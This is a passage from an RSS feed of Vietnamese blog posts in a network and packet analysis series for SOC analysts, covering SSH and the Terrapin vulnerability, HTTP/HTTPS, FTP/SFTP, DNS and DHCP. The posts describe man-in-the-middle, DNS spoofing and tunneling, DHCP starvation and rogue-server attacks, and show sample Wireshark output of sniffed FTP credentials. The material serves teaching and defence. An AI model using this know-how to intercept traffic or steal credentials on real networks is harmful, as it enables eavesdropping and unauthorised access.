tay.&lt;/p&gt;
&lt;h2 id="1-ssh-secure-shell---vua-của-dòng-lệnh-từ-xa"&gt;1. SSH (Secure Shell) - &amp;ldquo;Vua&amp;rdquo; của dòng lệnh từ xa
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;SSH&lt;/strong&gt; (hoạt động ở Cổng &lt;code&gt;22&lt;/code&gt;) ra đời để thay thế cho giao thức Telnet lỗi thời, được sử dụng chủ yếu để đăng nhập và điều khiển các máy chủ Linux từ xa với độ bảo mật cực cao.&lt;/p&gt;
&lt;p&gt;Bản chất của SSH là tạo ra một đường hầm mã hóa để bạn truyền các lệnh văn bản (Text-based). Nó sử dụng cơ chế bảo mật dựa trên cặp khóa &lt;strong&gt;Public/Private Key&lt;/strong&gt; hoặc mật khẩu đã được băm. Đứng ở góc độ một SOC Analyst soi gói tin bằng Wireshark, toàn bộ dữ liệu giao tiếp bên trong SSH chỉ hiện ra dưới dạng các khối &lt;strong&gt;Encrypted Packet&lt;/strong&gt; — kẻ tấn công không thể đọc được bạn đang gõ lệnh quản trị gì.&lt;/p&gt;
&lt;h2 id="2-ranh-giới-chống-mitm-dấu-vân-tay-fingerprint-và-known_hosts"&gt;2. Ranh giới chống MitM: Dấu vân tay (Fingerprint) và known_hosts
&lt;/h2&gt;&lt;p&gt;Vậy làm sao máy tính của bạn biết nó đang kết nối đúng đến Server thật chứ không phải một máy chủ giả mạo do hacker dựng lên (&lt;strong&gt;Man-in-the-Middle&lt;/strong&gt;)? Bí quyết nằm ở cơ chế &lt;strong&gt;Dấu vân tay&lt;/strong&gt; (Fingerprint).&lt;/p&gt;
&lt;p&gt;Khi bạn thực hiện kết nối SSH lần đầu tiên, máy khách chưa biết gì về Server. Lúc này, Server sẽ gửi &amp;ldquo;chứng minh thư&amp;rdquo; của nó dưới dạng một mã Fingerprint (thường dùng thuật toán băm &lt;code&gt;ED25519&lt;/code&gt; từ Khóa công khai).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lệnh kết nối SSH vào máy chủ Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Hệ thống sẽ hỏi xác nhận Fingerprint trong lần kết nối đầu tiên&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh admin@10.10.50.20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# The authenticity of host &amp;#39;10.10.50.20 (10.10.50.20)&amp;#39; can&amp;#39;t be established.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ED25519 key fingerprint is SHA256:bafc947d6e921971472e82f52462129e.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Are you sure you want to continue connecting (yes/no/[fingerprint])?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Khi bạn gõ &lt;code&gt;yes&lt;/code&gt;, máy của bạn sẽ lưu vĩnh viễn khóa này vào file &lt;code&gt;known_hosts&lt;/code&gt;. Kể từ những lần đăng nhập sau, nếu dấu vân tay này bị thay đổi (do hacker can thiệp và ép dùng khóa giả), SSH sẽ lập tức hiển thị &lt;strong&gt;cảnh báo đỏ&lt;/strong&gt; và ngắt kết nối để bảo vệ bạn.&lt;/p&gt;
&lt;h2 id="3-lỗ-hổng-terrapin-cve-2023-48795---thao-túng-gói-tin-bắt-tay"&gt;3. Lỗ hổng Terrapin (CVE-2023-48795) - Thao túng gói tin bắt tay
&lt;/h2&gt;&lt;p&gt;Mặc dù khóa phiên được trao đổi và lưu an toàn trong RAM ngay từ đầu, SSH vẫn tồn tại một lỗ hổng chí mạng mang tên &lt;strong&gt;Terrapin Attack (CVE-2023-48795)&lt;/strong&gt;. Điểm đáng sợ của Terrapin là nó &lt;strong&gt;không thèm bẻ khóa&lt;/strong&gt; thuật toán mã hóa, mà đánh trực tiếp vào tính toàn vẹn của quá trình &amp;ldquo;bắt tay&amp;rdquo; (Handshake).&lt;/p&gt;
&lt;p&gt;Trong giao thức SSH, mỗi gói tin được gửi đi đều đi kèm với một &lt;strong&gt;số thứ tự&lt;/strong&gt; (Sequence Number) ngẫu nhiên và tăng dần ngầm định. Cả Client và Server đều kiểm tra gắt gao số này để đảm bảo không một gói tin nào bị rơi rớt hay bị kẻ xấu chèn thêm vào.&lt;/p&gt;
&lt;p&gt;Cách thức tấn công của Terrapin (kỹ thuật &lt;strong&gt;&amp;ldquo;Cắt dán&amp;rdquo; số thứ tự&lt;/strong&gt;) diễn ra như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hacker chiếm vị trí &lt;strong&gt;Man-in-the-Middle (MitM)&lt;/strong&gt; giữa máy bạn và Server.&lt;/li&gt;
&lt;li&gt;Trong giai đoạn đầu của quá trình bắt tay (khi mã hóa toàn phần chưa được thiết lập), hacker chủ động &lt;strong&gt;xóa bỏ&lt;/strong&gt; một số gói tin cụ thể — ví dụ: gói tin báo hiệu việc hỗ trợ các thuật toán bảo mật cao.&lt;/li&gt;
&lt;li&gt;Để hai bên Client và Server không phát hiện ra sự thiếu hụt này, hacker &lt;strong&gt;điều chỉnh lại số thứ tự&lt;/strong&gt; của các gói tin kế tiếp sao cho chúng khớp hoàn hảo với mong đợi của hai bên — như thể gói tin bị xóa chưa từng tồn tại.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="4-hậu-quả-hạ-cấp-bảo-mật-và-vô-hiệu-hóa-keystroke-obfuscation"&gt;4. Hậu quả: Hạ cấp bảo mật và Vô hiệu hóa Keystroke Obfuscation
&lt;/h2&gt;&lt;p&gt;Mục đích cuối cùng của việc &amp;ldquo;xóa dấu vết&amp;rdquo; khéo léo này là để thực hiện đòn &lt;strong&gt;Hạ cấp bảo mật&lt;/strong&gt; (Downgrade Attack). Bằng cách xóa các gói tin mở rộng (Extension Info), hacker đánh lừa cả hai bên về khả năng bảo mật của nhau.&lt;/p&gt;
&lt;p&gt;Hậu quả mang lại cực kỳ tàn khốc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ép dùng thuật toán yếu:&lt;/strong&gt; SSH sẽ bị lừa và tự động lùi về sử dụng các bộ thuật toán mã hóa cũ hơn, yếu hơn, dễ bị hacker dùng kỹ thuật tấn công kênh kề để khai thác.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vô hiệu hóa Keystroke Obfuscation:&lt;/strong&gt; Đây là tính năng quan trọng của SSH dùng để làm nhiễu &amp;ldquo;nhịp gõ phím&amp;rdquo; khi truyền qua mạng. Khi Terrapin vô hiệu hóa thành công tính năng này, hacker đứng giữa có thể dễ dàng đoán được độ dài mật khẩu và thực hiện tấn công Sniffing.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; Lỗ hổng Terrapin cho thấy tầm quan trọng của việc cập nhật phần mềm. Để chống lại đòn tấn công này, quản trị viên mạng phải đảm bảo cả &lt;strong&gt;SSH Client&lt;/strong&gt; (như PuTTY, OpenSSH) và &lt;strong&gt;SSH Server&lt;/strong&gt; đều được cập nhật lên phiên bản mới nhất có hỗ trợ cờ &lt;strong&gt;&amp;ldquo;Strict KEX&amp;rdquo;&lt;/strong&gt; (Bắt tay nghiêm ngặt) nhằm chặn đứng hành vi thao túng gói tin.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Khép lại Bài 10, chúng ta đã hoàn tất việc mổ xẻ những giao thức quan trọng nhất ở Tầng Ứng dụng (Lớp 7) như DNS, DHCP, HTTP, FTP và SSH. Bức tranh về cách dữ liệu truyền tải trên mạng đã hoàn thiện. Giờ là lúc chúng ta chuyển sang thế chủ động: Làm thế nào để xây dựng các công sự bảo vệ mạng lưới này? Trong Bài 11 tiếp theo, chúng ta sẽ bắt đầu Phần 4 của Series với chủ đề Vành đai Tường lửa (Firewall) &amp;amp; Cơ chế NAT. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Giao thức Truyền tải (HTTP/HTTPS &amp; FTP/SFTP)</title><link>/post/http-ftp-sftp-protocols/</link><pubDate>Thu, 21 May 2026 22:55:00 +0700</pubDate><guid>/post/http-ftp-sftp-protocols/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở phần trước, chúng ta đã đi sâu vào hạ tầng mạng với DNS và DHCP. Khi gói tin đã có IP và tìm được đích đến, hệ thống sẽ chuyển giao nhiệm vụ cho các giao thức truyền tải văn bản và tệp tin ở Lớp Ứng dụng (Tầng 7). Hôm nay, chúng ta sẽ đặt HTTP/HTTPS và FTP/SFTP lên bàn mổ Wireshark để thấy rõ ranh giới sinh tử giữa dữ liệu trần trụi và kiến trúc đường hầm mã hóa.&lt;/p&gt;
&lt;h2 id="1-http-và-https-ranh-giới-giữa-trần-trụi-và-kín-đáo"&gt;1. HTTP và HTTPS: Ranh giới giữa &amp;ldquo;Trần trụi&amp;rdquo; và &amp;ldquo;Kín đáo&amp;rdquo;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;HTTP&lt;/strong&gt; (Cổng &lt;code&gt;80&lt;/code&gt;) là giao thức nền tảng để duyệt web, nhưng bản chất của nó là truyền &lt;strong&gt;văn bản thuần&lt;/strong&gt; (Clear-text) hoàn toàn không được mã hóa. Đứng ở góc độ bảo mật, nếu bạn sử dụng mạng Wi-Fi công cộng để truy cập một trang web HTTP, bất kỳ ai có kiến thức cơ bản về mạng đang dùng Wireshark cũng có thể &amp;ldquo;nghe lén&amp;rdquo;. Họ sẽ thấy toàn bộ nội dung bạn chat, tài khoản, mật khẩu và thậm chí có thể can thiệp sửa đổi dữ liệu trên đường đi.&lt;/p&gt;
&lt;p&gt;Để khắc phục điều này, &lt;strong&gt;HTTPS&lt;/strong&gt; (Cổng &lt;code&gt;443&lt;/code&gt;) ra đời. Nó thực chất là giao thức HTTP được chạy trên nền của SSL/TLS ở Tầng 6 (Presentation).&lt;/p&gt;
&lt;p&gt;Khi bạn truy cập &lt;code&gt;facebook.com&lt;/code&gt; qua HTTPS, sau khi hoàn tất quá trình Bắt tay TCP ở Tầng 4, quy trình mã hóa sẽ diễn ra như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Chuẩn bị (TLS Handshake):&lt;/strong&gt; Trình duyệt (&lt;code&gt;Client Hello&lt;/code&gt;) và máy chủ (&lt;code&gt;Server Hello&lt;/code&gt;) đàm phán để chọn ra một bộ công cụ mật mã (Cipher Suite) chung.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mã hóa (Application Data):&lt;/strong&gt; Chỉ sau khi &amp;ldquo;đường hầm&amp;rdquo; TLS được thiết lập xong, dữ liệu web thực sự (phương thức &lt;code&gt;GET&lt;/code&gt;/&lt;code&gt;POST&lt;/code&gt;, mật khẩu, hình ảnh) mới bắt đầu được đẩy đi dưới dạng các khối &lt;strong&gt;Encrypted Application Data&lt;/strong&gt;. Lúc này, hacker đứng giữa mạng sẽ hoàn toàn mù tịt.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-ftp-và-thảm-họa-lộ-mật-khẩu-clear-text"&gt;2. FTP và Thảm họa Lộ Mật khẩu (Clear-text)
&lt;/h2&gt;&lt;p&gt;Tương tự như câu chuyện của HTTP, giao thức truyền tải tệp tin &lt;strong&gt;FTP&lt;/strong&gt; (File Transfer Protocol) hoạt động ở Cổng &lt;code&gt;20&lt;/code&gt; và &lt;code&gt;21&lt;/code&gt; cũng là một giao thức cực kỳ yếu kém về bảo mật.&lt;/p&gt;
&lt;p&gt;Hãy tưởng tượng một kịch bản thực chiến: Một nhân viên dùng FTP để upload báo cáo nội bộ qua mạng Wi-Fi ở quán cà phê. Hacker ngồi góc phòng, bật Wireshark (hoặc Ettercap) để thực hiện tấn công &lt;strong&gt;Man-in-the-Middle (MitM)&lt;/strong&gt;. Vì FTP không hề có lớp bảo vệ mã hóa nào, hacker sẽ bắt được toàn bộ gói tin giao tiếp trần trụi giữa máy trạm và Server.&lt;/p&gt;
&lt;p&gt;Dưới đây là bằng chứng kết xuất từ Wireshark khi hacker bắt thành công gói tin FTP:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Gói tin FTP cho thấy thông tin đăng nhập bị lộ hoàn toàn
# IP Nạn nhân: 192.168.1.15 | IP Máy chủ FTP: 10.10.50.20

No. Time Source Destination Protocol Info
34 100.646 192.168.1.15 -&amp;gt; 10.10.50.20 FTP Request: USER roduygo
36 100.646 10.10.50.20 -&amp;gt; 192.168.1.15 FTP Response: 331 Please specify the password.
38 102.659 192.168.1.15 -&amp;gt; 10.10.50.20 FTP Request: PASS 7905
40 102.756 10.10.50.20 -&amp;gt; 192.168.1.15 FTP Response: 230 Login successful.
42 102.756 192.168.1.15 -&amp;gt; 10.10.50.20 FTP Request: SYST
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Chỉ với vài giây phân tích, hacker đã lấy được chính xác tài khoản (&lt;code&gt;USER roduygo&lt;/code&gt;) và mật khẩu (&lt;code&gt;PASS 7905&lt;/code&gt;). Từ đây, chúng có thể đăng nhập thẳng vào Server để trích xuất dữ liệu mật hoặc xóa sạch mọi tài liệu quan trọng.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; FTP mặc định là một lỗ hổng chí mạng. SOC Analyst cần đưa ra cảnh báo khẩn cấp (Alert) trên hệ thống IDS/IPS nếu phát hiện bất kỳ lưu lượng &lt;strong&gt;FTP&lt;/strong&gt; nào (Port &lt;code&gt;21&lt;/code&gt;) truyền tải dữ liệu mà không đi qua các đường hầm VPN hoặc chưa được bọc TLS (&lt;strong&gt;FTPS&lt;/strong&gt;).&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-sftp-kiến-trúc-đường-hầm-bảo-mật-tuyệt-đối"&gt;3. SFTP: Kiến trúc Đường hầm Bảo mật tuyệt đối
&lt;/h2&gt;&lt;p&gt;Để giải quyết vấn đề của FTP, giải pháp an toàn và phổ biến nhất hiện nay trong giới quản trị hệ thống là &lt;strong&gt;SFTP&lt;/strong&gt; (SSH File Transfer Protocol).&lt;/p&gt;
&lt;p&gt;Một sai lầm rất thường gặp là mọi người nghĩ SFTP là &amp;ldquo;FTP cộng thêm bảo mật&amp;rdquo;. Thực chất không phải vậy! &lt;strong&gt;SFTP là một giao thức hoàn toàn mới&lt;/strong&gt; được xây dựng từ đầu ngay bên trong không gian của &lt;strong&gt;SSH&lt;/strong&gt; (Cổng &lt;code&gt;22&lt;/code&gt;). Trong khi SSH cung cấp cho bạn quyền gõ lệnh Terminal từ xa, thì SFTP tận dụng chính &amp;ldquo;đường hầm&amp;rdquo; an toàn đó để truyền tải tệp tin.&lt;/p&gt;
&lt;p&gt;Khi bạn kết nối SFTP lần đầu, hệ thống sẽ sử dụng cơ chế bảo mật cực mạnh:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kiểm tra Fingerprint:&lt;/strong&gt; Máy bạn sẽ hỏi &amp;ldquo;dấu vân tay&amp;rdquo; (thường là mã &lt;code&gt;ED25519&lt;/code&gt;) của Server và lưu vào file &lt;code&gt;known_hosts&lt;/code&gt;. Từ lần sau, nếu dấu vân tay này bị thay đổi (do hacker cố tình dựng Server giả mạo), SSH sẽ báo động đỏ ngay lập tức.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mã hóa hoàn toàn:&lt;/strong&gt; Toàn bộ lệnh gõ, tên file, và nội dung file đều bị băm và xáo trộn.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu hacker tiếp tục dùng Wireshark để nghe lén luồng SFTP, thứ duy nhất chúng thấy chỉ là vô vọng:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Gói tin SFTP (chạy qua SSH) hoàn toàn bị mã hóa, che giấu mọi hoạt động
# IP Nạn nhân: 192.168.1.15 | IP Máy chủ SFTP: 10.10.50.20

No. Time Source Destination Protocol Info
14 13.1338 192.168.1.15 -&amp;gt; 10.10.50.20 SSHv2 Client: PQ/T Hybrid Key Exchange Init
15 13.1383 10.10.50.20 -&amp;gt; 192.168.1.15 SSHv2 Server: PQ/T Hybrid Key Exchange Reply, New Keys
17 18.3181 192.168.1.15 -&amp;gt; 10.10.50.20 SSHv2 Client: New Keys, Encrypted packet (len=68)
19 18.3509 10.10.50.20 -&amp;gt; 192.168.1.15 SSHv2 Client: Encrypted packet (len=52)
34 21.8629 192.168.1.15 -&amp;gt; 10.10.50.20 SSHv2 Client: Encrypted packet (len=128)
36 21.9083 10.10.50.20 -&amp;gt; 192.168.1.15 SSHv2 Server: Encrypted packet (len=628)
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thay vì thấy lệnh &lt;code&gt;USER&lt;/code&gt; hay &lt;code&gt;PASS&lt;/code&gt;, tất cả những gì hiển thị trên màn hình của hacker giờ đây chỉ là các khối &lt;strong&gt;Encrypted packet&lt;/strong&gt; khô khan.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Hiểu rõ sự khác biệt giữa giao thức truyền văn bản thuần (HTTP, FTP) và các giao thức bọc giáp (HTTPS, SFTP) giúp SOC Analyst biết phải cấu hình giám sát ở đâu để không bị lọt lưới thông tin nhạy cảm. Dù SSH/SFTP rất kiên cố, nhưng vỏ bọc nào cũng có điểm yếu chí mạng nếu quá trình &amp;ldquo;đàm phán&amp;rdquo; ban đầu bị thao túng. Trong Bài tiếp theo, chúng ta sẽ đi sâu vào kỹ thuật quản trị từ xa (SSH) và mổ xẻ lỗ hổng Terrapin (CVE-2023-48795) — đòn tấn công tinh vi đánh thẳng vào tính toàn vẹn của quá trình bắt tay SSH. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Hạ tầng Mạng (DNS &amp; DHCP)</title><link>/post/dns-dhcp-network-infrastructure/</link><pubDate>Thu, 21 May 2026 22:53:00 +0700</pubDate><guid>/post/dns-dhcp-network-infrastructure/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Sau khi đã thiết lập xong &amp;ldquo;đường hầm&amp;rdquo; mã hóa vững chắc ở Tầng 6, chúng ta chính thức bước chân vào Lớp 7 (Application). Đây là nơi chứa đựng những giao thức nền tảng nhất giúp Internet vận hành, nhưng cũng là những &amp;ldquo;góc khuất ngây thơ&amp;rdquo; nhất vì mặc định chúng thiếu đi các cơ chế bảo mật cốt lõi. Hôm nay, chúng ta sẽ cùng bóc tách hệ thống phân giải tên miền (DNS) và quá trình xin cấp phát IP tự động (DHCP), đồng thời phân tích các đòn đánh hiểm hóc nhắm vào chúng.&lt;/p&gt;
&lt;h2 id="1-dns-domain-name-system---bản-danh-bạ-của-internet"&gt;1. DNS (Domain Name System) - Bản danh bạ của Internet
&lt;/h2&gt;&lt;p&gt;Hệ thống phân giải tên miền (&lt;strong&gt;DNS&lt;/strong&gt;) là một giao thức cốt lõi thuộc Tầng 7 (Application Layer) hoạt động chủ yếu qua cổng &lt;strong&gt;UDP 53&lt;/strong&gt;. Nhiệm vụ của nó là &amp;ldquo;dịch&amp;rdquo; các tên miền dễ nhớ đối với con người (như &lt;code&gt;google.com&lt;/code&gt;) thành địa chỉ IP thực tế để máy tính có thể giao tiếp với nhau trên mạng.&lt;/p&gt;
&lt;p&gt;Ví dụ, trước khi bạn thực sự truy cập vào trang Facebook, máy tính của bạn sẽ bắn một gói tin truy vấn DNS đến máy chủ phân giải (như &lt;code&gt;8.8.8.8&lt;/code&gt;) để hỏi IP của Facebook là gì. Sau khi DNS trả về địa chỉ IP và lưu nó vào bộ nhớ đệm (cache), trình duyệt của bạn mới bắt đầu thực hiện kết nối TCP 3 bước để trao đổi dữ liệu web.&lt;/p&gt;
&lt;h2 id="2-bắt-tại-trận-các-đòn-tấn-công-nhắm-vào-dns"&gt;2. Bắt tại trận các đòn tấn công nhắm vào DNS
&lt;/h2&gt;&lt;p&gt;DNS được thiết kế từ thời kỳ sơ khai của Internet nên nó rất &amp;ldquo;ngây thơ&amp;rdquo;: mặc định các truy vấn &lt;strong&gt;không được mã hóa&lt;/strong&gt; và &lt;strong&gt;không có cơ chế xác thực danh tính&lt;/strong&gt; mạnh mẽ. Hacker hiểu rất rõ điểm yếu này và thường xuyên tung ra các đòn tấn công sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DNS Spoofing / Poisoning (Lừa đảo/Đầu độc):&lt;/strong&gt; Kẻ tấn công gửi một gói tin trả lời (Response) giả mạo chứa địa chỉ IP của máy hacker, cố gắng đến máy bạn nhanh hơn cả DNS Server thật. Nếu số định danh &lt;code&gt;Transaction ID&lt;/code&gt; trong gói tin trùng khớp, máy tính của bạn sẽ tin tưởng tuyệt đối và truy cập thẳng vào trang web lừa đảo do hacker dựng sẵn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS Tunneling (Đường hầm dữ liệu):&lt;/strong&gt; Tường lửa của các doanh nghiệp thường luôn cho phép cổng &lt;code&gt;53&lt;/code&gt; đi qua một cách tự do. Biết được kẽ hở này, hacker có thể nhồi nhét dữ liệu nhạy cảm (như mã nguồn dự án hoặc thông tin thẻ tín dụng) vào bên trong các truy vấn DNS thông thường để âm thầm tuồn dữ liệu ra ngoài (&lt;strong&gt;Data Exfiltration&lt;/strong&gt;) mà không bị hệ thống IDS/IPS chặn lại.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS Hijacking (Chiếm quyền điều khiển):&lt;/strong&gt; Kẻ gian trực tiếp thay đổi cài đặt máy chủ DNS trên hệ điều hành máy nạn nhân hoặc trên Router để trỏ mọi truy vấn phân giải về một DNS Server do chúng kiểm soát hoàn toàn.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dưới đây là output Wireshark ghi lại một truy vấn DNS bình thường. Nếu bị &lt;strong&gt;DNS Spoofing&lt;/strong&gt;, IP trả về ở gói số 2 sẽ là IP của kẻ tấn công thay vì IP thật:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Máy khách 192.168.1.156 hỏi DNS Server 203.113.188.6 địa chỉ của google.com
# Bộ lọc Wireshark: dns &amp;amp;&amp;amp; ip.addr == 192.168.1.156

No. Time Source Destination Protocol Info
1 0.000000 192.168.1.156 -&amp;gt; 203.113.188.6 DNS Standard query 0x24b7 A google.com
2 0.084123 203.113.188.6 -&amp;gt; 192.168.1.156 DNS Standard query response 0x24b7 A google.com A 142.250.198.46
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="3-dhcp-dynamic-host-configuration-protocol-và-quy-trình-dora"&gt;3. DHCP (Dynamic Host Configuration Protocol) và Quy trình DORA
&lt;/h2&gt;&lt;p&gt;Trước khi máy tính có thể &amp;ldquo;hỏi đường&amp;rdquo; bằng DNS, nó phải làm thủ tục &amp;ldquo;xin hộ khẩu&amp;rdquo; để có một địa chỉ IP nội bộ hợp lệ nhằm gia nhập mạng. Quá trình tự động hóa này do giao thức &lt;strong&gt;DHCP&lt;/strong&gt; đảm nhận, hoạt động ở Tầng 7 và sử dụng cổng &lt;strong&gt;UDP 67&lt;/strong&gt; cho Server, &lt;strong&gt;UDP 68&lt;/strong&gt; cho Client.&lt;/p&gt;
&lt;p&gt;Khi bạn vừa cắm dây cáp mạng hoặc bật Wi-Fi, một quy trình 4 bước mang tên &lt;strong&gt;DORA&lt;/strong&gt; sẽ lập tức diễn ra:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;D — Discover (Khám phá):&lt;/strong&gt; Máy tính của bạn lúc này chưa có IP, nó dùng địa chỉ &lt;code&gt;0.0.0.0&lt;/code&gt; để &amp;ldquo;hét&amp;rdquo; lên toàn mạng bằng gói tin Broadcast: &amp;ldquo;Có ai là DHCP Server ở đây không? Tôi cần một địa chỉ IP!&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O — Offer (Đề nghị):&lt;/strong&gt; Router (đóng vai trò DHCP Server) nghe thấy và đáp lại: &amp;ldquo;Tôi đây! Tôi đang có sẵn địa chỉ &lt;code&gt;192.168.1.14&lt;/code&gt; trống, cậu có muốn dùng không?&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;R — Request (Yêu cầu):&lt;/strong&gt; Máy của bạn phản hồi lại toàn mạng: &amp;ldquo;Tuyệt quá! Tôi đồng ý dùng địa chỉ &lt;code&gt;.14&lt;/code&gt; đó. Làm ơn khóa địa chỉ đó lại cho tôi nhé!&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A — Acknowledge (Xác nhận):&lt;/strong&gt; Router chốt sổ và thông báo: &amp;ldquo;Ok, địa chỉ &lt;code&gt;.14&lt;/code&gt; là của cậu trong vòng 24 giờ tới. Đây là thông số DNS và Default Gateway để cậu vào mạng&amp;rdquo;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="4-dhcp-starvation-và-rogue-server---sự-nguy-hiểm-của-broadcast"&gt;4. DHCP Starvation và Rogue Server - Sự nguy hiểm của Broadcast
&lt;/h2&gt;&lt;p&gt;Điểm yếu chí mạng của DHCP là nó hoạt động hoàn toàn dựa trên &lt;strong&gt;niềm tin&lt;/strong&gt; vào bất kỳ thiết bị nào phản hồi lại gói tin Broadcast (&lt;code&gt;255.255.255.255&lt;/code&gt;). Kẻ tấn công đứng trong cùng một mạng LAN có thể dễ dàng khai thác niềm tin này:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DHCP Starvation (Tấn công làm cạn kiệt):&lt;/strong&gt; Hacker sử dụng công cụ tự động để tạo ra hàng vạn gói tin Discover với các địa chỉ MAC giả mạo liên tục. Router sẽ ngây thơ cấp phát toàn bộ dải IP trống trong kho của nó (ví dụ từ &lt;code&gt;.2&lt;/code&gt; đến &lt;code&gt;.254&lt;/code&gt;) cho các MAC ảo này. Hậu quả là khi một nhân viên thật kết nối vào mạng, Router sẽ báo &amp;ldquo;hết số&amp;rdquo; và họ không thể nhận được IP để vào mạng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rogue DHCP Server (Server giả mạo):&lt;/strong&gt; Hacker chủ động dựng lên một DHCP Server giả ngay trong mạng công ty. Khi máy của nhân viên gửi gói tin Discover xin IP, Server giả này sẽ phản hồi nhanh hơn cả Router thật để cấp IP — nhưng nó sẽ cấp cho nạn nhân một &lt;strong&gt;Default Gateway giả mạo&lt;/strong&gt; trỏ thẳng về máy của hacker. Lúc này, toàn bộ dữ liệu nạn nhân gửi ra Internet đều chảy xuyên qua máy kẻ tấn công, tạo nên một đòn &lt;strong&gt;Man-in-the-Middle (MitM)&lt;/strong&gt; hoàn hảo.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; Để chống lại các cuộc tấn công hạ tầng này, quản trị viên mạng cần cấu hình tính năng &lt;strong&gt;DHCP Snooping&lt;/strong&gt; trên các Switch vật lý. Tính năng này sẽ chỉ cho phép các cổng (Port) kết nối với Router thật mới được quyền gửi gói tin &lt;code&gt;Offer&lt;/code&gt; và &lt;code&gt;Acknowledge&lt;/code&gt;, chặn đứng mọi DHCP Server giả mạo.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Thấu hiểu cách DNS và DHCP vận hành giúp SOC Analyst phát hiện sớm các chiến dịch đánh cắp dữ liệu hoặc nghe lén mạng nội bộ trước khi chúng gây ra hậu quả. Sau khi gói tin của chúng ta đã có IP và tìm được đích đến, nó sẽ được chuyển giao cho các giao thức truyền tải văn bản và tệp tin. Trong Bài 9 tiếp theo, chúng ta sẽ phân tích sâu hơn về HTTP/HTTPS, cách FTP làm lộ mật khẩu trần trụi và kiến trúc đường hầm an toàn của SFTP. Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Giải phẫu TLS Handshake &amp; Cipher Suites trên Wireshark</title><link>/post/tls-handshake-cipher-suites/</link><pubDate>Thu, 21 May 2026 22:51:00 +0700</pubDate><guid>/post/tls-handshake-cipher-suites/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã hiểu được tầm quan trọng của Tầng 6 (Presentation) và sự sụp đổ của SSL 3.0. Hôm nay, chúng ta sẽ đặt giao thức TLS lên &amp;ldquo;bàn mổ&amp;rdquo; Wireshark để soi kỹ từng bước trong quá trình đàm phán bảo mật. Hãy cùng giải phẫu các gói tin &lt;code&gt;Client Hello&lt;/code&gt;, 